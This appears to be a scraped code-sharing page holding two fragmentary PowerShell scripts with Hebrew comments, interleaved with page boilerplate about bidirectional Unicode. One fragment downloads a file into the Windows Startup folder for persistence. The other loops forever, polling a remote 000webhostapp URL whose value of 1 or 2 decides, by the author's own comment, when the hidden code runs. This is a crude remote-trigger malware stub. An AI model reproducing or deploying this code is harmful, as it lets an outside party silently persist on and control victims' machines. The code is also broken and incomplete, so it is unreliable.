This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cls | |
Invoke-WebRequest -Uri "download-file" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" | |
while($running = 5) | |
{ | |
$data1 = Get-Process -Name "notepad" | |
$data2 = Get-Process -Name "cmd" | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$for = 5 # מגדיר שפור יהיה חמש בשביל שאשתמש בו בהמשך הקוד | |
while($running = 5) # מכניס את המערכת ללופ שיפעל כל הזמן | |
{ | |
$number = (new-object Net.WebClient).DownloadString("https://arielschool1.000webhostapp.com/tata.ps1") # קורא את הערך שרשום באתר הזה, אם הערך הוא 1 - הקוד יורץ. אם הוא 2 | |
# אז הקוד לא יורץ אבל זה יישאר בלופ וימתין שהאתר ישתנה ל1 מ-2 | |
# יצרתי את זה בשביל שאוכל להחליט מתי הקוד יורץ ומתי לא. | |